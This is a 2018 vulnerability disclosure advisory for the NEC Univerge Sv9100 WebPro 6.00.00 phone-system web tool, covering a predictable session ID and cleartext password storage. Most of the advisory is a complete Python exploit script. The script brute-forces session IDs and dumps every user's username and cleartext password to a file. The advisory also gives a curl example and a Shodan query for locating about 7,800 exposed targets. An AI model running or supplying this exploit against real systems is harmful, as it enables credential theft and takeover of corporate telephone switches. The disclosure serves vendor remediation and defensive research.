NEC Univerge Sv9100 WebPro 6.00.00 Predictable Session ID / Cleartext Passwords

`[+] Credits: hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/NEC-UNIVERGE-WEBPRO-v6.00-PREDICTABLE-SESSIONID-CLEARTEXT-PASSWORDS.txt  
[+] ISR: ApparitionSec   
  
  
***Greetz: indoushka | Eduardo B. 0day***  
  
  
[Vendor]  
www.necam.com  
  
  
[Affected Product Code Base]  
NEC Univerge Sv9100 WebPro - 6.00.00  
  
  
NEC Univerge WebPro, is a web-based programming tool for the NEC Switch, which is used to program corporate Telephone systems.  
  
  
Public facing installations as of Dec 1, 2018  
https://www.shodan.io/search?query=Server+Henry  
Result: 7,797   
  
  
[Vulnerability Type(s)]  
[CVE Reference(s)]  
Predictable Session ID - CVE-2018-11741 / Cleartext Password Storage - CVE-2018-11742  
  
  
  
[Attack Vectors]  
Make repeated remote HTTP requests until arriving at a valid authenticated sessionId.  
  
  
Security Issue:  
================  
NEC Univerge WebPro suffers from a "Predictable Session ID" that can potentially disclose all user account information including passwords stored in clear text in the Web UI.  
Attackers can simply increment numbers until arriving at a live session, then by using a specific URI dump the entire account information for all users including the clear text passwords.  
  
e.g..  
  
curl http://NEC-VICTIM-IP/Home.htm?sessionId=12959&GOTO(8)  
  
  
Exploit/POC:  
=============  
from socket import *  
import re  
  
#Univerge Sv9100 NEC WebPro : 6.00  
#Dumps user accounts and plaintext passwords stored in Web UI in Administrator Programming Password Setup' webpage  
#http://TARGET-IP/Home.htm?sessionId=12959&GOTO(8) "GOTO(8)" will retrieve all account usernames and cleartext passwords.  
  
print "NEC Univerge Sv9100 WebPro - 6.00.00 / Remote 0day Exploit POC"  
print "hyp3rlinx"  
  
  
IP=raw_input("[+] TARGET> ")  
res=''  
findme="Programming Password Setup"  
cnt=0  
tmp=False  
tmp2=False  
pwned=False  
  
#check application is NEC and vuln version  
def is_NEC_webpro(u):  
global tmp,tmp2,cnt  
res=''  
cnt+=1  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((IP,80))  
s.send('GET '+u+' HTTP/1.1\r\nHost: '+IP+'\r\n\r\n')  
  
while True:  
res=s.recv(4048)  
if res.find('</html>')!=-1:  
break   
s.close()  
  
if re.findall(r"\bWebPro\b", res):  
tmp=True  
if tmp and cnt < 3:  
is_NEC_webpro('/Login.htm')  
if re.findall(r"\b6.00.00\b", res) and re.findall(r"\bNEC Corporation of America\b", res):  
tmp2 = True  
if tmp == True and tmp2 == True:  
return True  
return False  
  
  
  
def dump(acct):  
file=open('NEC-Accounts.txt', 'w')  
file.write(acct+'\n')  
file.close()  
  
  
def breach(sid):  
global pwned  
try:  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((IP,80))  
sid=str(sid)  
print 'trying sessid '+sid  
s.send('GET /Home.htm?sessionId%3d'+sid+'&GOTO(8)%20HTTP/1.1\r\nHost: '+IP+'\r\n\r\n')  
except Exception as e:  
print str(e)  
  
while True:  
res = s.recv(4096)  
if res.find('</html>')!=-1:  
break  
if re.findall(r"\bProgramming Password Setup\b",res)!=-1: ## We hit an active session.  
dump(res)  
print res  
pwned=True  
  
s.close()  
return pwned  
  
  
def sessgen():  
for sessid in range(1000,15000): ##test 14109  
if breach(sessid):  
break  
  
  
if __name__=='__main__':  
if is_NEC_webpro('/'):  
sessgen()  
else:  
print 'Not NEC or version not vuln.'  
  
  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: May 15, 2018  
No reply  
Vendor Notification: May 18, 2018  
No reply  
Vendor Notification: June 4, 2018  
No reply  
Mitre assign CVE: June 5, 2018  
JPCERT replies: June 6, 2018  
JPCERT shares information with NEC : June 7, 2018  
Request status : August 11, 2018  
JPCERT contact NEC : August 14, 2018  
No reply from vendor  
Request status : August 21, 2018  
JPCERT again contacts NEC : August 21, 2018  
JPCERT "vendor working on a release" : August 23 2018  
JPCERT "Vendor release October 2018" : September 12, 2018  
NEC "Requests public disclosure after December 1st." : November 19, 2018  
December 2, 2018 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`